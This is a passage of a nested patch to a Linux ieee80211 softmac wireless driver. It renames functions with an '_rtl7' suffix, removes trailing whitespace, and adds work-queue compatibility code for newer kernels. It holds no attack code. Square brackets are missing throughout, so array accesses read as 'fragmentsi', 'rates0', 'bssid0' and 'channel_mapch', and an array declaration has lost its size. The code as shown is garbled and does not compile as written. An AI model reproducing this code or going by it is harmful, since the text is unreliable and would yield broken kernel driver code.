+ 		if (ieee->queue_stop){
+ 			ieee->tx_pending.txb = txb;
+ 			ieee->tx_pending.frag = i;
+@@ -1658,29 +1676,29 @@
+ 				//(i+1)<txb->nr_frags);
+ 			ieee->stats.tx_packets++;
+ 			ieee->stats.tx_bytes += txb->fragmentsi->len;
+-			ieee->dev->trans_start = jiffies; 
++			ieee->dev->trans_start = jiffies;
+ 		}
+-	}	
+-	
+-	ieee80211_txb_free(txb);
+-	
++	}
++
++	ieee80211_txb_free_rtl7(txb);
++
+ 	exit:
+ 	spin_unlock_irqrestore(&ieee->lock,flags);
+-	
++
+ }
+ 
+ /* called with ieee->lock acquired */
+-void ieee80211_resume_tx(struct ieee80211_device *ieee)
++void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee)
+ {
+ 	int i;
+ 	for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) {
+-		
++
+ 		if (ieee->queue_stop){
+ 			ieee->tx_pending.frag = i;
+ 			return;
+ 		}else{
+-		
+-			ieee->softmac_data_hard_start_xmit( 
++
++			ieee->softmac_data_hard_start_xmit(
+ 				ieee->tx_pending.txb->fragmentsi,
+ 				ieee->dev,ieee->rate);
+ 				//(i+1)<ieee->tx_pending.txb->nr_frags);
+@@ -1688,21 +1706,21 @@
+ 			ieee->dev->trans_start = jiffies;
+ 		}
+ 	}
+-	
+-	
+-	ieee80211_txb_free(ieee->tx_pending.txb);
++
++
++	ieee80211_txb_free_rtl7(ieee->tx_pending.txb);
+ 	ieee->tx_pending.txb = NULL;
+ }
+ 
+ 
+-void ieee80211_reset_queue(struct ieee80211_device *ieee)
++void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee)
+ {
+ 	unsigned long flags;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock,flags);
+-	init_mgmt_queue(ieee);
++	init_mgmt_queue_rtl7(ieee);
+ 	if (ieee->tx_pending.txb){
+-		ieee80211_txb_free(ieee->tx_pending.txb);
++		ieee80211_txb_free_rtl7(ieee->tx_pending.txb);
+ 		ieee->tx_pending.txb = NULL;
+ 	}
+ 	ieee->queue_stop = 0;
+@@ -1710,23 +1728,23 @@
+ 
+ }
+ 
+-void ieee80211_wake_queue(struct ieee80211_device *ieee)
++void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee)
+ {
+ 
+ 	unsigned long flags;
+ 	struct sk_buff *skb;
+ 	struct ieee80211_hdr_3addr  *header;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock,flags);
+ 	if (! ieee->queue_stop) goto exit;
+-	
++
+ 	ieee->queue_stop = 0;
+-	
++
+ 	if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){
+-		while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){
+-			
++		while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){
++
+ 			header = (struct ieee80211_hdr_3addr  *) skb->data;
+-			
++
+ 			header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4);
+ 
+ 			if (ieee->seq_ctrl == 0xFFF)
+@@ -1738,19 +1756,19 @@
+ 		}
+ 	}
+ 	if (!ieee->queue_stop && ieee->tx_pending.txb)
+-		ieee80211_resume_tx(ieee);
+-	
++		ieee80211_resume_tx_rtl7(ieee);
++
+ 	if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){
+ 		ieee->softmac_stats.swtxawake++;
+ 		netif_wake_queue(ieee->dev);
+ 	}
+-	
++
+ exit :
+ 	spin_unlock_irqrestore(&ieee->lock,flags);
+ }
+ 
+ 
+-void ieee80211_stop_queue(struct ieee80211_device *ieee)
++void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee)
+ {
+ 	//unsigned long flags;
+ 	//spin_lock_irqsave(&ieee->lock,flags);
+@@ -1761,81 +1779,88 @@
+ 	}
+ 	ieee->queue_stop = 1;
+ 	//spin_unlock_irqrestore(&ieee->lock,flags);
+-	
++
+ }
+ 
+ 
+-inline void ieee80211_randomize_cell(struct ieee80211_device *ieee)
++inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee)
+ {
+-	
++
+ 	get_random_bytes(ieee->current_network.bssid, ETH_ALEN);
+-	
++
+ 	/* an IBSS cell address must have the two less significant
+-	 * bits of the first byte = 2 
++	 * bits of the first byte = 2
+ 	 */
+ 	ieee->current_network.bssid0 &= ~0x01;
+ 	ieee->current_network.bssid0 |= 0x02;
+ }
+ 
+ /* called in user context only */
+-void ieee80211_start_master_bss(struct ieee80211_device *ieee)
++void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->assoc_id = 1;
+-	
++
+ 	if (ieee->current_network.ssid_len == 0){
+-		strncpy(ieee->current_network.ssid, 
++		strncpy(ieee->current_network.ssid,
+ 			IEEE80211_DEFAULT_TX_ESSID,
+ 			IW_ESSID_MAX_SIZE);
+-			
++
+ 		ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID);
+ 		ieee->ssid_set = 1;
+ 	}
+-	
++
+ 	memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN);
+-	 
++
+ 	ieee->set_chan(ieee->dev, ieee->current_network.channel);
+ 	ieee->state = IEEE80211_LINKED;
+ 	ieee->link_change(ieee->dev);
+-	notify_wx_assoc_event(ieee);
+-	
++	notify_wx_assoc_event_rtl7(ieee);
++
+ 	if (ieee->data_hard_resume)
+ 		ieee->data_hard_resume(ieee->dev);
+-	
++
+ 	netif_carrier_on(ieee->dev);
+ }
+ 
+-void ieee80211_start_monitor_mode(struct ieee80211_device *ieee)
++void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if(ieee->raw_tx){
+-		
++
+ 		if (ieee->data_hard_resume)
+ 			ieee->data_hard_resume(ieee->dev);
+-	
++
+ 		netif_carrier_on(ieee->dev);
+ 	}
+ }
+-void ieee80211_start_ibss_wq(struct ieee80211_device *ieee)
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_start_ibss_wq_rtl7(struct work_struct *work)
+ {
+-	
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq);
++#else
++void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee)
++{
++#endif
++
+ 	/* iwconfig mode ad-hoc will schedule this and return
+ 	 * on the other hand this will block further iwconfig SET
+ 	 * operations because of the wx_sem hold.
+ 	 * Anyway some most set operations set a flag to speed-up
+-	 * (abort) this wq (when syncro scanning) before sleeping 
++	 * (abort) this wq (when syncro scanning) before sleeping
+ 	 * on the semaphore
+ 	 */
+-	
++
+ 	down(&ieee->wx_sem);
+-	
++
+ 	if (ieee->current_network.ssid_len == 0){
+ 		strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID);
+ 		ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID);
+ 		ieee->ssid_set = 1;
+-	} 
+-	
++	}
++
+ 	/* check if we have this cell in our network list */
+-	ieee80211_softmac_check_all_nets(ieee);
+-	
++	ieee80211_softmac_check_all_nets_rtl7(ieee);
++
+ 	/* if not then the state is not linked. Maybe the user swithced to
+ 	 * ad-hoc mode just after being in monitor mode, or just after
+ 	 * being very few time in managed mode (so the card have had no
+@@ -1851,29 +1876,29 @@
+ 	 * associated.
+ 	 */
+ 	if (ieee->state == IEEE80211_NOLINK)
+-		ieee80211_start_scan_syncro(ieee);
++		ieee80211_start_scan_syncro_rtl7(ieee);
+ 
+ 	/* the network definitively is not here.. create a new cell */
+ 	if (ieee->state == IEEE80211_NOLINK){
+-		printk("creating new IBSS cell\n"); 
++		printk("creating new IBSS cell\n");
+ 		if(!ieee->wap_set)
+-			ieee80211_randomize_cell(ieee);
+-		
++			ieee80211_randomize_cell_rtl7(ieee);
++
+ 		if(ieee->modulation & IEEE80211_CCK_MODULATION){
+-		
++
+ 			ieee->current_network.rates_len = 4;
+-			
++
+ 			ieee->current_network.rates0 = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB;
+ 			ieee->current_network.rates1 = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB;
+ 			ieee->current_network.rates2 = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB;
+ 			ieee->current_network.rates3 = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB;
+-				
++
+ 		}else
+ 			ieee->current_network.rates_len = 0;
+-		
++
+ 		if(ieee->modulation & IEEE80211_OFDM_MODULATION){
+ 			ieee->current_network.rates_ex_len = 8;
+-			
++
+ 			ieee->current_network.rates_ex0 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB;
+ 			ieee->current_network.rates_ex1 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB;
+ 			ieee->current_network.rates_ex2 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB;
+@@ -1882,44 +1907,44 @@
+ 			ieee->current_network.rates_ex5 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB;
+ 			ieee->current_network.rates_ex6 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB;
+ 			ieee->current_network.rates_ex7 = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB;
+-			
++
+ 			ieee->rate = 540;
+ 		}else{
+ 			ieee->current_network.rates_ex_len = 0;
+ 			ieee->rate = 110;
+ 		}
+-	
++
+ 		ieee->current_network.atim_window = 0;
+ 		ieee->current_network.capability = WLAN_CAPABILITY_IBSS;
+ 		if(ieee->short_slot)
+ 			ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT;
+-				 
++
+ 	}
+-	
++
+ 	ieee->state = IEEE80211_LINKED;
+-		
++
+ 	ieee->set_chan(ieee->dev, ieee->current_network.channel);
+ 	ieee->link_change(ieee->dev);
+-	
+-	notify_wx_assoc_event(ieee);
+-	
+-	ieee80211_start_send_beacons(ieee);
+-	
++
++	notify_wx_assoc_event_rtl7(ieee);
++
++	ieee80211_start_send_beacons_rtl7(ieee);
++
+ 	if (ieee->data_hard_resume)
+ 		ieee->data_hard_resume(ieee->dev);
+-	
++
+ 	netif_carrier_on(ieee->dev);
+-	
++
+ 	up(&ieee->wx_sem);
+ }
+ 
+-inline void ieee80211_start_ibss(struct ieee80211_device *ieee)
++inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee)
+ {
+ 	queue_work(ieee->wq, &ieee->start_ibss_wq);
+ }
+ 
+ /* this is called only in user context, with wx_sem held */
+-void ieee80211_start_bss(struct ieee80211_device *ieee)
++void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee)
+ {
+ 	unsigned long flags;
+ 	/* check if we have already found the net we
+@@ -1927,8 +1952,8 @@
+ 	 * if not (we are disassociated and we are not
+ 	 * in associating / authenticating phase) start the background scanning.
+ 	 */
+-	ieee80211_softmac_check_all_nets(ieee);
+-	
++	ieee80211_softmac_check_all_nets_rtl7(ieee);
++
+ 	/* ensure no-one start an associating process (thus setting
+ 	 * the ieee->state to ieee80211_ASSOCIATING) while we
+ 	 * have just cheked it and we are going to enable scan.
+@@ -1937,41 +1962,49 @@
+ 	 * the rx path), so we cannot be in the middle of such function
+ 	 */
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
+ 	if (ieee->state == IEEE80211_NOLINK)
+-		ieee80211_start_scan(ieee);
+-	
++		ieee80211_start_scan_rtl7(ieee);
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+ }
+ 
+ /* called only in userspace context */
+-void ieee80211_disassociate(struct ieee80211_device *ieee)
++void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee)
+ {
+ 	netif_carrier_off(ieee->dev);
+-	
++
+ 	if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE)
+-			ieee80211_reset_queue(ieee);
+-	
++			ieee80211_reset_queue_rtl7(ieee);
++
+ 	if (ieee->data_hard_stop)
+ 			ieee->data_hard_stop(ieee->dev);
+-	
++
+ 	ieee->state = IEEE80211_NOLINK;
+ 	ieee->link_change(ieee->dev);
+-	notify_wx_assoc_event(ieee);
+-	
++	notify_wx_assoc_event_rtl7(ieee);
++
+ }
+-void ieee80211_associate_retry_wq(struct ieee80211_device *ieee)
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_associate_retry_wq_rtl7(struct work_struct *work)
+ {
++	struct delayed_work *dwork = container_of(work, struct delayed_work, work);
++	struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq);
++#else
++void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee)
++{
++#endif
+ 	unsigned long flags;
+-	
++
+ 	down(&ieee->wx_sem);
++
+ 	if(!ieee->proto_started)
+ 		goto exit;
+-		
++
+ 	if(ieee->state != IEEE80211_ASSOCIATING_RETRY)
+ 		goto exit;
+-		
+-	/* until we do not set the state to IEEE80211_NOLINK 
++
++	/* until we do not set the state to IEEE80211_NOLINK
+ 	* there are no possibility to have someone else trying
+ 	* to start an association procdure (we get here with
+ 	* ieee->state = IEEE80211_ASSOCIATING).
+@@ -1981,122 +2014,120 @@
+ 	* RX path works with ieee->lock held so there are no
+ 	* problems. If we are still disassociated then start a scan.
+ 	* the lock here is necessary to ensure no one try to start
+-	* an association procedure when we have just checked the 
++	* an association procedure when we have just checked the
+ 	* state and we are going to start the scan.
+ 	*/
+ 	ieee->state = IEEE80211_NOLINK;
+ 
+-	ieee80211_softmac_check_all_nets(ieee);
+-	
++	ieee80211_softmac_check_all_nets_rtl7(ieee);
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if(ieee->state == IEEE80211_NOLINK)
+-		ieee80211_start_scan(ieee);
+-	
++		ieee80211_start_scan_rtl7(ieee);
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+ 
+ exit:
+ 	up(&ieee->wx_sem);
+ }
+ 
+-struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee)
++struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee)
+ {
+ 	u8 broadcast_addr = {0xff,0xff,0xff,0xff,0xff,0xff};
+-	
++
+ 	struct sk_buff *skb;
+ 	struct ieee80211_probe_response *b;
+-	
+-	skb = ieee80211_probe_resp(ieee, broadcast_addr);
+-	
+-	if (!skb) 
++
++	skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr);
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	b = (struct ieee80211_probe_response *) skb->data;
+ 	b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON);
+-		
++
+ 	return skb;
+-	
++
+ }
+ 
+-struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee)
++struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff *skb;
+ 	struct ieee80211_probe_response *b;
+-	
+-	skb = ieee80211_get_beacon_(ieee);
+-	if(!skb) 
++
++	skb = ieee80211_get_beacon__rtl7(ieee);
++	if(!skb)
+ 		return NULL;
+-		
+-	b = (struct ieee80211_probe_response *) skb->data;	
++
++	b = (struct ieee80211_probe_response *) skb->data;
+ 	b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4);
+-	
++
+ 	if (ieee->seq_ctrl == 0xFFF)
+ 		ieee->seq_ctrl = 0;
+ 	else
+ 		ieee->seq_ctrl++;
+-	
++
+ 	return skb;
+ }
+ 
+-void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee)
++void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->sync_scan_hurryup = 1;
+ 	down(&ieee->wx_sem);
+-	ieee80211_stop_protocol(ieee);
++
++	ieee80211_stop_protocol_rtl7(ieee);
+ 	up(&ieee->wx_sem);
+ }
+ 
+ 
+-void ieee80211_stop_protocol(struct ieee80211_device *ieee)
++void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if (!ieee->proto_started)
+ 		return;
+-	
++
+ 	ieee->proto_started = 0;
+-	
+-	ieee80211_stop_send_beacons(ieee);
+-	
++
++	ieee80211_stop_send_beacons_rtl7(ieee);
++
+ 	del_timer_sync(&ieee->associate_timer);
+-	cancel_delayed_work(&ieee->associate_retry_wq);	
+-	
+-	ieee80211_stop_scan(ieee);
++	cancel_delayed_work(&ieee->associate_retry_wq);
+ 
+-	ieee80211_disassociate(ieee);
++	ieee80211_stop_scan_rtl7(ieee);
++
++	ieee80211_disassociate_rtl7(ieee);
+ }
+ 
+-void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee)
++void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->sync_scan_hurryup = 0;
+ 	down(&ieee->wx_sem);
+-	ieee80211_start_protocol(ieee);
++	ieee80211_start_protocol_rtl7(ieee);
+ 	up(&ieee->wx_sem);
+ }
+ 
+-void ieee80211_start_protocol(struct ieee80211_device *ieee)
++void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee)
+ {
+ 	short ch = 0;
+-	
+ 	if (ieee->proto_started)
+ 		return;
+-		
++
+ 	ieee->proto_started = 1;
+-	
++
+ 	if (ieee->current_network.channel == 0){
+ 		do{
+ 			ch++;
+-			if (ch > MAX_CHANNEL_NUMBER) 
++			if (ch > MAX_CHANNEL_NUMBER)
+ 				return; /* no channel found */
+-				
++
+ 		}while(!ieee->channel_mapch);
+-		
++
+ 		ieee->current_network.channel = ch;
+ 	}
+-	
++
+ 	if (ieee->current_network.beacon_interval == 0)
+ 		ieee->current_network.beacon_interval = 100;
+-	
+ 	ieee->set_chan(ieee->dev,ieee->current_network.channel);
+-	
+ 	ieee->last_seq_num = -1;
+ 	ieee->last_frag_num = -1;
+ 	ieee->last_packet_time = 0;
+@@ -2107,30 +2138,27 @@
+ 	 * attempts does not fail just because the user provide the essid
+ 	 * and the nic is still checking for the AP MAC ??
+ 	 */
+-	
++
+ 	if (ieee->iw_mode == IW_MODE_INFRA)
+-		ieee80211_start_bss(ieee);
+-		
++		ieee80211_start_bss_rtl7(ieee);
+ 	else if (ieee->iw_mode == IW_MODE_ADHOC)
+-		ieee80211_start_ibss(ieee);
+-		
++		ieee80211_start_ibss_rtl7(ieee);
+ 	else if (ieee->iw_mode == IW_MODE_MASTER)
+-		ieee80211_start_master_bss(ieee);
+-		
++		ieee80211_start_master_bss_rtl7(ieee);
+ 	else if(ieee->iw_mode == IW_MODE_MONITOR)
+-		ieee80211_start_monitor_mode(ieee);	
++		ieee80211_start_monitor_mode_rtl7(ieee);
+ }
+ 
+ 
+ #define DRV_NAME  "Ieee80211"
+-void ieee80211_softmac_init(struct ieee80211_device *ieee)
++void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee)
+ {
+ 	memset(&ieee->current_network, 0, sizeof(struct ieee80211_network));
+-	
++
+ 	ieee->state = IEEE80211_NOLINK;
+ 	ieee->sync_scan_hurryup = 0;
+ 	ieee->seq_ctrl = 0;
+-	
++
+ 	ieee->assoc_id = 0;
+ 	ieee->queue_stop = 0;
+ 	ieee->scanning = 0;
+@@ -2142,66 +2170,75 @@
+ 	ieee->rate = 3;
+ 	ieee->ps = IEEE80211_PS_DISABLED;
+ 	ieee->sta_sleep = 0;
+-	
+-	init_mgmt_queue(ieee);
++
++	init_mgmt_queue_rtl7(ieee);
+ #if 0
+ 	init_timer(&ieee->scan_timer);
+ 	ieee->scan_timer.data = (unsigned long)ieee;
+ 	ieee->scan_timer.function = ieee80211_softmac_scan_cb;
+ #endif
+ 	ieee->tx_pending.txb = NULL;
+-	
++
+ 	init_timer(&ieee->associate_timer);
+ 	ieee->associate_timer.data = (unsigned long)ieee;
+-	ieee->associate_timer.function = ieee80211_associate_abort_cb;
++	ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7;
+ 
+ 	init_timer(&ieee->beacon_timer);
+ 	ieee->beacon_timer.data = (unsigned long) ieee;
+-	ieee->beacon_timer.function = ieee80211_send_beacon_cb;
+-	
++	ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7;
++
+ #ifdef PF_SYNCTHREAD
+ 	ieee->wq = create_workqueue(DRV_NAME,0);
+-#else	
++#else
+ 	ieee->wq = create_workqueue(DRV_NAME);
+ #endif
+-	
+-	INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee);
+-	INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee);
+-	INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee);
+-	INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee);
+-	INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee);
+-	INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee);
+-	
++
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
++	INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee);
++	INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee);
++	INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee);
++	INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee);
++	INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee);
++	INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee);
++#else
++	INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7);
++	INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7);
++	INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7);
++	INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7);
++	INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7);
++	INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7);
++#endif
++
+ 	sema_init(&ieee->wx_sem, 1);
+ 	sema_init(&ieee->scan_sem, 1);
+-	
++
+ 	spin_lock_init(&ieee->mgmt_tx_lock);
+ 	spin_lock_init(&ieee->beacon_lock);
+-	
++
+ 	tasklet_init(&ieee->ps_task,
+-	     (void(*)(unsigned long)) ieee80211_sta_ps,
++	     (void(*)(unsigned long)) ieee80211_sta_ps_rtl7,
+ 	     (unsigned long)ieee);
+ 
+ }
+ 
+-void ieee80211_softmac_free(struct ieee80211_device *ieee)
++void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee)
+ {
+ 	down(&ieee->wx_sem);
+-	
++
+ 	del_timer_sync(&ieee->associate_timer);
+ 	cancel_delayed_work(&ieee->associate_retry_wq);
+ 	destroy_workqueue(ieee->wq);
+-	
++
+ 	up(&ieee->wx_sem);
+ }
+ 
+-/******************************************************** 
++/********************************************************
+  * Start of WPA code.                                   *
+  * this is stolen from the ipw2200 driver               *
+  ********************************************************/
+ 
+- 
+-static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value)
++
++static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value)
+ {
+ 	/* This is called when wpa_supplicant loads and closes the driver
+ 	 * interface. */
+@@ -2210,19 +2247,19 @@
+ 	return 0;
+ }
+ 
+- 
+-void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len)
++
++void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len)
+ {
+ 	/* make sure WPA is enabled */
+-	ieee80211_wpa_enable(ieee, 1);
++	ieee80211_wpa_enable_rtl7(ieee, 1);
+ 
+-	ieee80211_disassociate(ieee);
++	ieee80211_disassociate_rtl7(ieee);
+ }
+ 
+ 
+-static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason)
++static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason)
+ {
+-	
++
+ 	int ret = 0;
+ 
+ 	switch (command) {
+@@ -2231,7 +2268,7 @@
+ 		break;
+ 
+ 	case IEEE_MLME_STA_DISASSOC:
+-		ieee80211_disassociate(ieee);
++		ieee80211_disassociate_rtl7(ieee);
+ 		break;
+ 
+ 	default:
+@@ -2243,7 +2280,7 @@
+ }
+ 
+ 
+-static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee,
++static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee,
+ 			      struct ieee_param *param, int plen)
+ {
+ 	u8 *buf;
+@@ -2267,16 +2304,16 @@
+ 		ieee->wpa_ie_len = 0;
+ 	}
+ 
+-	ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len);
++	ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len);
+ 	return 0;
+ }
+ 
+ #define AUTH_ALG_OPEN_SYSTEM			0x1
+ #define AUTH_ALG_SHARED_KEY			0x2
+ 
+-static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value)
++static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value)
+ {
+-	
++
+ 	struct ieee80211_security sec = {
+ 		.flags = SEC_AUTH_MODE,
+ 	};
+@@ -2300,13 +2337,13 @@
+ 
+ 
+ 
+-static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value)
++static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value)
+ {
+ 	int ret=0;
+ 
+ 	switch (name) {
+ 	case IEEE_PARAM_WPA_ENABLED:
+-		ret = ieee80211_wpa_enable(ieee, value);
++		ret = ieee80211_wpa_enable_rtl7(ieee, value);
+ 		break;
+ 
+ 	case IEEE_PARAM_TKIP_COUNTERMEASURES:
+@@ -2351,7 +2388,7 @@
+ 		break;
+ 
+ 	case IEEE_PARAM_AUTH_ALGS:
+-		ret = ieee80211_wpa_set_auth_algs(ieee, value);
++		ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value);
+ 		break;
+ 
+ 	case IEEE_PARAM_IEEE_802_1X:
+@@ -2368,11 +2405,11 @@
+ 
+ /* implementation borrowed from hostap driver */
+ 
+-static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee,
++static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee,
+ 				  struct ieee_param *param, int param_len)
+ {
+ 	int ret = 0;
+-	
++
+ 	struct ieee80211_crypto_ops *ops;
+ 	struct ieee80211_crypt_data **crypt;
+ 
+@@ -2407,7 +2444,7 @@
+ 			//sec.encrypt = 0;
+ 			sec.level = SEC_LEVEL_0;
+ 			sec.flags |= SEC_ENABLED | SEC_LEVEL;
+-			ieee80211_crypt_delayed_deinit(ieee, crypt);
++			ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt);
+ 		}
+ 		goto done;
+ 	}
+@@ -2421,16 +2458,16 @@
+ 	    strcmp(param->u.crypt.alg, "TKIP"))
+ 		goto skip_host_crypt;
+ 
+-	ops = ieee80211_get_crypto_ops(param->u.crypt.alg);
++	ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg);
+ 	if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) {
+-		request_module("ieee80211_crypt_wep");
+-		ops = ieee80211_get_crypto_ops(param->u.crypt.alg);
++		request_module("ieee80211_crypt_wep_rtl7");
++		ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg);
+ 	} else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) {
+-		request_module("ieee80211_crypt_tkip");
+-		ops = ieee80211_get_crypto_ops(param->u.crypt.alg);
++		request_module("ieee80211_crypt_tkip_rtl7");
++		ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg);
+ 	} else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) {
+-		request_module("ieee80211_crypt_ccmp");
+-		ops = ieee80211_get_crypto_ops(param->u.crypt.alg);
++		request_module("ieee80211_crypt_ccmp_rtl7");
++		ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg);
+ 	}
+ 	if (ops == NULL) {
+ 		printk("unknown crypto alg '%s'\n", param->u.crypt.alg);
+@@ -2442,7 +2479,7 @@
+ 	if (*crypt == NULL || (*crypt)->ops != ops) {
+ 		struct ieee80211_crypt_data *new_crypt;
+ 
+-		ieee80211_crypt_delayed_deinit(ieee, crypt);
++		ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt);
+ 
+ 		new_crypt = (struct ieee80211_crypt_data *)
+ 			kmalloc(sizeof(*new_crypt), GFP_KERNEL);
+@@ -2525,7 +2562,7 @@
+ 
+ 
+ 
+-int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p)
++int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p)
+ {
+ 	struct ieee_param *param;
+ 	int ret=0;
+@@ -2537,7 +2574,7 @@
+ 		ret = -EINVAL;
+ 		goto out;
+ 	}
+-	
++
+ 	param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL);
+ 	if (param == NULL){
+ 		ret = -ENOMEM;
